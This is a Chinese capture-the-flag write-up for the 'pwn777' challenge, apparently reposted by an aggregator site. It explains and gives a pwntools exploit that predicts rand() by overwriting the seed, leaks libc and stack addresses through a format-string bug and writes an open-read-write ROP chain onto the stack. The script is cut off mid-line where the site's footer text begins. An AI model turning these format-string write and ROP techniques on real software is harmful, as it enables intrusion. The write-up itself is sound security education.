pwn2021 极客大挑战(部分)
Posted woodwhale
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn2021 极客大挑战(部分)相关的知识,希望对你有一定的参考价值。
【pwn】2021 极客大挑战(部分)
1、pwn777
0x1
怎么说呢,这题就是硬用fmt写rop链。
不过也是第一次见到这种fmt,也算是见了新题型了。
0x2
我们打开IDA进行逆向分析
就俩主要函数,我就当第一关和第二关吧
先进入game函数,发现可以通过buf覆盖seed的后32位,srand这个函数的参数是int型,所以我们这里可以通过buf覆盖seed,然后导入ctypes库,使用题目给的libc进行获取随机数,重复10次就可以了。
0x3
第二关就有点自由了,这种自由就是看你怎么想到攻击点了
首先是判断buf这个bss段的前0xf位是否是jiaraniloveyou~
这个字符串,是的话就break循环,不是就一直fmt函数
然后是fmt函数,这里有个自己写的myread函数,我也没管,就是可以给buf这里写入0x288的数据,碰到\\n
结束读取,之后就是核心的fmt了
0x4
那么以上如何利用呢?
我们先更改seed导入c库进行随机数窃取,第一关pass
第二关我们先读stack上的几个地址,读到一个__libc_start_main泄露libc地址,然后泄露栈地址。
之后就是对最后while循环break的那个ret_addr进行rop,这里很ex的一点就是需要fmt很多次,并且需要先给栈上的一个地址写入指向一个目标地址,我们再对这个地址的指向地址进行地址覆写。
反正就是硬调调出来的,花了一晚上了的时间。
一开始是想往buf段写shellcode,或者rop,最后ret_addr指向buf上我们的shellcode或者rop,后面发现这个buf的bss没有可执行权限,所以最后决定在stack上写rop。
还有,这个程序开了沙箱,ban了execve,所以最后要用orw来输出flag。
get flag
exp
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2021/10/26 16:36:09
# -----------------------------------
from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os
from ctypes import *
def ret2libc(addr,func,binary=null):
libc = LibcSearcher(func,addr) if binary == null else binary
libc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func]
system = libc.address+libc.dump('system') if binary == null else libc.sym['system']
binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh'))
leak('libc_base',libc.address)
leak('system',system)
leak('binsh',binsh)
return(system,binsh)
def hack(pwn):
global io,binary,libc
times = 0
while True:
try:
times += 1
clear()
info(f'time --> times')
pwn()
except:
io.close()
io = getprocess()
def init(binary):
global arglen, elf, path , libc, context, io
arglen = len(sys.argv)
warnings.filterwarnings('ignore')
context.terminal = ['gnome-terminal','-x', 'bash','-c']
elf = ELF(binary)
# path = libcpath(binary)
# libc = ELF(path)
# libc.path = path
context.arch = elfbit(binary)
io = getprocess()
s = lambda data : io.send(data)
sa = lambda rv,data : io.sendafter(rv,data)
sl = lambda data : io.sendline(data)
sla = lambda rv,data : io.sendlineafter(rv,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia = lambda : io.interactive()
l32 = lambda : u32(ru(b'\\xf7',False)[-4:].ljust(4,b'\\x00'))
l64 = lambda : u64(ru(b'\\x7f',False)[-6:].ljust(8,b'\\x00'))
uu32 = lambda data : u32(data.ljust(4,b'\\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('\\033[33m\\033[0m = \\033[31m:#x\\033[0m'.format(name, addr))
info = lambda data : log.info(f'\\033[36mdata\\033[0m')
pau = lambda : pause() if DEBUG else null
dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *point')) if DEBUG else null
og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\\n').split(' ')))
rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary binary --only 'only' | grep grep"],shell=True).decode().split(' ')[0])
setlibc = lambda leak,func : leak - libc.sym[func]
elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\\n').split('\\n')[0]
proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env='LD_PRELOAD':'./'+libc)
getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear = lambda : os.system('clear')
# context.log_level='debug'
DEBUG = 1
GLIBC = 1
binary = './pwn'
init(binary)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
libc.path = "/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
def pwn():
payload = p64(0xdeadbeef)+p64(0)*2 + p32(0)
sla("name",payload)
c = cdll.LoadLibrary(libc.path)
c.srand(0)
for i in range(10):
sla("number:",str(c.rand()))
sl("%13$p%p%6$p")
ru("0x")
libc.address = i16(r(12)) - (0x7fed9a1e0840 - 0x7fed9a1c0000)
leak("base",libc.address)
ru("0x")
buf_addr = i16(r(12)) - 0x7
leak("buf_addr",buf_addr)
buf_offset = int("0x"+hex(buf_addr)[-4:],16)
leak("buf_offset",buf_offset)
pie = buf_addr - (0x55db67b86064-0x55db67b82000)
leak("pie",pie)
ru("0x")
stack = i16(r(12)) + 0x8
leak("stack",stack)
stack_offset = int("0x"+hex(stack)[-2:],16)
leak("stack_offset",stack_offset)
# pop rdi ret
pop_rdi = pie + (0x55f731e05713-0x55f731e04000)
pop_rdi_offset = int("0x"+hex(pop_rdi)[-4:],16)
sl(f"%stack_offsetc%6$hhn")
sl(f"%pop_rdi_offsetc%10$hn")
# 0
sl(f"%stack_offset+8c%6$hhn")
sl("%10$n")
sl(f"%stack_offset+8+4c%6$hhn")
sl("%10$n")
# pop rdx ret
pop_rdx = next(libc.search(asm("pop rdx; ret")))
pop_rdx_offset = int("0x"+hex(pop_rdx)[-4:],16)
pop_rdx_offset2 = int("0x"+hex(pop_rdx)[8:10],16)
sl(f"%stack_offset+8*2c%6$hhn")
sl(f"%pop_rdx_offsetc%10$hn")
sl(f"%stack_offset+8*2+2c%6$hhn")
sl(f"%pop_rdx_offset2c%10$hhn")
# 0x100
sl(f"%stack_offset+8*3c%6$hhn")
sl("%256c%10$n")
# pop rsi
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rsi_offset3 = int("0x"+hex(pop_rsi)[2:6],16)
pop_rsi_offset2 = int("0x"+hex(pop_rsi)[6:10],16)
pop_rsi_offset1 = int("0x"+hex(pop_rsi)[-4:],16)
sl(f"%stack_offset+8*4c%6$hhn")
sl(f"%pop_rsi_offset1c%10$hn")
sl(f"%stack_offset+8*4+2c%6$hhn")
sl(f"%pop_rsi_offset2c%10$hn")
sl(f"%stack_offset+8*4+4c%6$hhn")
sl(f"%pop_rsi_offset3c%10$hn")
# target_addr
target_addr = stack+56
target_offset3 = int("0x"+hex(target_addr)[2:6],16)
target_offset2 = int("0x"+hex(target_addr)[6:10],16)
target_offset1 = int("0x"+hex(target_addr)[-4:],16)
sl(f"%stack_offset+8*5c%6$hhn")
sl(f"%target_offset1c%10$hn")
sl(f"%stack_offset+8*5+2c%6$hhn")
sl(f"%target_offset2c%10$hn")
sl(f"%stack_offset+8*5+4c%6$hhn")
sl(f"%target_offset3c%10$hn")
# read
read_addr = libc.sym["read"]
read_offset1 = int("0x"+hex(read_addr)[-4:],16)
read_offset2 = int("0x"+hex(read_addr)[6:10],16)
read_offset3 = int("0x"+hex(read_addr)[2:6],16)
sl(f"%stack_offset+8*6c%6$hhn")
sl(f"%read_offset1c%10$hn")
sl(f"%stack_offset+8*6+2c%6$hhn")
sl(f"%read_offset2c%10$hn")
sl(f"%stack_offset+8*6+4c%6$hhn")
sl(f"%read_offset3c%10$hn")
# jiaran
sl("jiaraniloveyou~")
# orw
flag_addr = target_addr + 0x80
open_addr = libc.sym["open"]
puts_addr = libc.sym["puts"]
read_addr = libc.sym["read"]
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")以上是关于pwn2021 极客大挑战(部分)的主要内容,如果未能解决你的问题,请参考以下文章